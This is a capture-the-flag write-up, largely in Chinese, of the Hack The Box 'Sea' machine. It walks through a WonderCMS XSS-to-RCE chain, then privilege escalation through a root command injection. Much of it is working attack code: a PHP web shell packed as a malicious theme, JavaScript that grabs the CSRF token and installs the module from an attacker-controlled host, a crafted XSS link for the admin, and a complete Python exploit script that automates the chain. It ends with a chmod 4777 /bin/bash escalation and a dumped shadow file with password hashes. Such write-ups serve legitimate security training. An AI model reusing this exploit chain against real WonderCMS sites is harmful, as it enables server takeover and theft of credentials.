Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
Sea
https://www.hackthebox.com/achievement/machine/463126/620
0x1 Nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZDkHH698ON6uxM3eFCVttoRXc1PMUSj8hDaiwlDlii0p8K8+6UOqhJno4Iti+VlIcHEc2THRsyhFdWAygICYaNoPsJ0nhkZsLkFyu/lmW7frIwINgdNXJOLnVSMWEdBWvVU7owy+9jpdm4AHAj6mu8vcPiuJ39YwBInzuCEhbNPncrgvXB1J4dEsQQAO4+KVH+QZ5ZCVm1pjXTjsFcStBtakBMykgReUX9GQJ9Y2D2XcqVyLPxrT98rYy+n5fV5OE7+J9aiUHccdZVngsGC1CXbbCT2jBRByxEMn+Hl+GI/r6Wi0IEbSY4mdesq8IHBmzw1T24A74SLrPYS9UDGSxEdB5rU6P3t91rOR3CvWQ1pdCZwkwC4S+kT35v32L8TH08Sw4Iiq806D6L2sUNORrhKBa5jQ7kGsjygTf0uahQ+g9GNTFkjLspjtTlZbJZCWsz2v0hG+fzDfKEpfC55/FhD5EDbwGKRfuL/YnZUPzywsheq1H7F0xTRTdr4w0At8= | 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMMoxImb/cXq07mVspMdCWkVQUTq96f6rKz6j5qFBfFnBkdjc07QzVuwhYZ61PX1Dm/PsAKW0VJfw/mctYsMwjM= | 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHuXW9Vi0myIh6MhZ28W8FeJo0FRKNduQvcSzUAkWw7z 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Sea - Home | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
只有80端口,看來就是要從80端口入手。
0x2 Finding CMS
打開網頁之後看到他自己就跳轉到一個域名,但是掃了一下這個子域名什麼都沒有。
然後點了一些其他的按鈕但到了這個頁面:
這裡有一個地方要填個人網站,所以嘗試填一下個人網站,用nc監聽一下,結果得到了反饋。
也就是說XSS的可能性很大。
但是現在啥都利用不了,所以掃一下子目錄,探測一下這個網站正在使用什麼框架,然後從框架入手。
掃了一會兒,看到有個主題目錄,那就專門掃這個主題目錄,看一下有沒有一些文檔之類的東西:
結果掃到了一些許可證,於是打開看看:
看到有作者的信息,所以就去谷歌查一下關於上面主題的信息
從上面可以看到,他最有可能是Wonder CMS,然後點進去第一個鏈接,找到:
在上面谷歌搜索的結果中,第一個網站裡面,有它的主題文件。所以我們就從這個主題文件裡面看一下有沒有和機器對應的圖片, 於是看到了熟悉的一幕,這個圖片就是跟機器上面的圖片是一樣的。 所以說這個有很大的幾率是Wonder CMS。
既然知道有很大的概率是Wonder CMS,那麼就可以找一下exp,和相關路徑。
0x3 Founding wondercms exploit 搜索 wondercms exploit
,看到這篇:
在這個CVE中告訴我們,利用XSS,需要製作一個惡意插件,然後管理員點擊這個惡意鏈接,就加載寫好的惡意脚本,就可以自動給框架安裝惡意的插件。從腳本中可以看到它最終會訪問一個惡意的php文件。
0x4 Unintended - Backdoor in the webserver
很神奇的一幕發生了, POC exploit看起來失敗了,但是機器上突然之間可以訪問poc上面的那個php文件,如下圖:
因為這個不像是普通的錯誤,正常應該是404狀態而不是像這樣子,所以根據poc的內容嘗試一下看一下能不能拿到 reverse shell:
結果還真拿到了。
應該是測試人員在測試的時候忘記刪除這個腳本,一次就可以走捷徑快速拿到 reverse shell。
所以這裏應該是非預期,不算。
0x5 Intended way - XSS to RCE 回到預期,根據poc的描述,需要打包一個php,讓管理員點擊那個鏈接,就可以加載寫好的xss,來安裝惡意插件。
所以準備一個惡意插件:
1 2 3 mkdir shellmaneecho '<?php system($_GET["cmd"]) ; ?>' > shellmane/shellmane.phpzip shellmane.zip shellmane/*
由於原本的poc無法利用成功,所以就從寫個js,知道大概的原理之後就不需要使用POC的js,寫完後如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 var LHOST = "10.10.16.39" var headURL = "http://sea.htb" console.log("[*] Power by mane." ); sendLog("Loading" ) var token = "" function fetchToken (){ token = document.querySelectorAll('[name="token"]' )[0].value; sendLog("getToken," + token) } function postInstall () { sendLog("postInstall,Init" ); const xhr = new XMLHttpRequest(); xhr.open("GET" , "/?installModule=http://" + LHOST +"/shellmane.zip&directoryName=shellmane&type=themes&token=" + token, true ); xhr.setRequestHeader("Content-Type" , "application/x-www-form-urlencoded" ); xhr.onreadystatechange = () => { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { sendLog("postInstall,OK" ) } }; xhr.send(); sendLog("postInstall,Installing" ) } function sendLog(someLog){ try { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true ; xhr4.open("GET" , 'http://' +LHOST+"/?log=" + someLog); xhr4.send(); } catch (e) { } } setTimeout(function () { fetchToken() }, 100) setTimeout(function () { postInstall() }, 200)
這個脚本簡單的來説就是獲取token,然後安裝插件。
所以開啟 http 服務器 發送給機器人:
1 http://sea.htb/index.php?page=loginURL?%22%3E%3C/form%3E%3Cscript+src=%22http://10.10.16.39/mane.js%22%3E%3C/script%3E%3Cform+action=%22
等一會,得到:
然後就得到shell:
最後,整合的代碼如下:
只需要發送那條鏈接給管理員,當管理員點完的那個鏈接之後就會自動安裝惡意模組,安裝完模組之後就使用下面的鏈接就得到了shell 。
完整代碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import sysimport osif (len (sys.argv)<3 ): print ("usage: python3 exploit.py BaseURL LHOST \nexample: python3 exploit.py http://sea.htb 10.10.10.10" ) sys.exit(1 ) print ("[*] POwer by mane." )os.system("rm -rf shellmane.zip shellmane" ) os.system("mkdir shellmane" ) os.system('echo \'<?php system($_GET["cmd"]) ; ?>\' > shellmane/shellmane.php' ) os.system('zip shellmane.zip shellmane/*' ) data = ''' var LHOST = "''' +str (sys.argv[2 ])+'''" var headURL = "''' + str (sys.argv[1 ]) + '''" console.log("[*] Power by mane."); sendLog("Loading") var token = "" function fetchToken(){ token = document.querySelectorAll('[name="token"]')[0].value; sendLog("getToken," + token) } function postInstall() { sendLog("postInstall,Init"); const xhr = new XMLHttpRequest(); xhr.open("GET", "/?installModule=http://" + LHOST +"/shellmane.zip&directoryName=shellmane&type=themes&token=" + token, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = () => { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { sendLog("postInstall,OK") } }; xhr.send(); sendLog("postInstall,Installing") } function sendLog(someLog){ try { var xhr4 = new XMLHttpRequest(); xhr4.withCredentials = true; xhr4.open("GET", 'http://'+LHOST+"/?log=" + someLog); xhr4.send(); } catch (e) { } } setTimeout(function() { fetchToken() }, 100) setTimeout(function() { postInstall() }, 200) ''' try : open ("mane.js" ,"w" ).write(data) print ("[+] mane.js is created" ) XSSlink = str (sys.argv[1 ])+"/index.php?page=loginURL?%22%3E%3C/form%3E%3Cscript+src=%22http://" +str (sys.argv[2 ])+"/mane.js%22%3E%3C/script%3E%3Cform+action=%22" print ("send the below link to admin:\n\n----------------------------\n" +XSSlink) print ("----------------------------\n" ) print ("When Plugin installed. check :" ) print ("----------------------------\n" ) print (str (sys.argv[1 ]) + "/themes/shellmane/shellmane.php?cmd=whoami" ) print ("----------------------------\n" ) print ("\nstarting HTTP server to allow the access to mane.js" ) os.system("python3 -m http.server 80\n" ) except : print (data,"\n" ,"//write this to a file" )
0x6 Founding Interesting Password 拿到了shell之後找一下數據庫文件, 發現有一串hash。
跑一下hashcat看看:
得到密碼: mychemicalromance
試了一下,是amay的用戶的密碼。
0x7 Found some Interesting port 跑了下 linpeas,什麼也沒有,但是本地監聽的端口有點好奇
於是本地轉發一下看看:
使用amay的用戶登錄,得到:
上面四個按鈕沒有什麼有趣的地方,查看日誌的地方有點神奇的東西:
經過測試,這裡有 command injection ,由於是root 運行,所以直接 chmod 4777 /bin/bash
即可:
然後得到root:
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 bash-5.0 1d7e088c8195d5dd85d401efa2a85de6 bash-5.0 root:$6$llVzHhr7xHrvx1wJ$gH0PLbyPaIOqLrpjpzGZbM2bZ /iHaOfv/bj1YRrktVeZ8.1KQ0Jr1Rv/TL/3Qdh84Fwec1UhX2v0LVAGsuzq.0:19775:0:99999:7::: daemon:*:19430:0:99999:7::: bin:*:19430:0:99999:7::: sys:*:19430:0:99999:7::: sync :*:19430:0:99999:7:::games:*:19430:0:99999:7::: man:*:19430:0:99999:7::: lp:*:19430:0:99999:7::: mail:*:19430:0:99999:7::: news:*:19430:0:99999:7::: uucp:*:19430:0:99999:7::: proxy:*:19430:0:99999:7::: www-data:*:19430:0:99999:7::: backup:*:19430:0:99999:7::: list:*:19430:0:99999:7::: irc:*:19430:0:99999:7::: gnats:*:19430:0:99999:7::: nobody:*:19430:0:99999:7::: systemd-network:*:19430:0:99999:7::: systemd-resolve:*:19430:0:99999:7::: systemd-timesync:*:19430:0:99999:7::: messagebus:*:19430:0:99999:7::: syslog:*:19430:0:99999:7::: _apt:*:19430:0:99999:7::: tss:*:19430:0:99999:7::: uuidd:*:19430:0:99999:7::: tcpdump:*:19430:0:99999:7::: landscape:*:19430:0:99999:7::: pollinate:*:19430:0:99999:7::: fwupd-refresh:*:19430:0:99999:7::: usbmux:*:19774:0:99999:7::: sshd:*:19774:0:99999:7::: systemd-coredump:!!:19774:::::: amay:$6$S1AGe5ex2k4D5MKa$gTclSeJwvND3FINpZaK0zfUqk6T9IkhlxCn17fNWLx56u .zP/f/4e5YrJRPsM3TRuuKXQDfYL44RyPzduexsm.:19775:0:99999:7::: lxd:!:19774:::::: geo:$6$5mAIqOze4GJ4s9Zu$P3IgUSHlcCkKpDJ0862IgP5aqaNilEUZDGIm16FiWdxh1A5dfKjmwhMgp3xctHiHZVWGtmKY25cCrILanDPaG .:19934:0:99999:7::: _laurel:!:19936::::::
Thanks Respect : If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝 : 製作不易,如果我的writeup真的幫到你了, 給我一個respect ,這樣我就會知道,感謝你!
Beginner Recommand : If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦 : 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)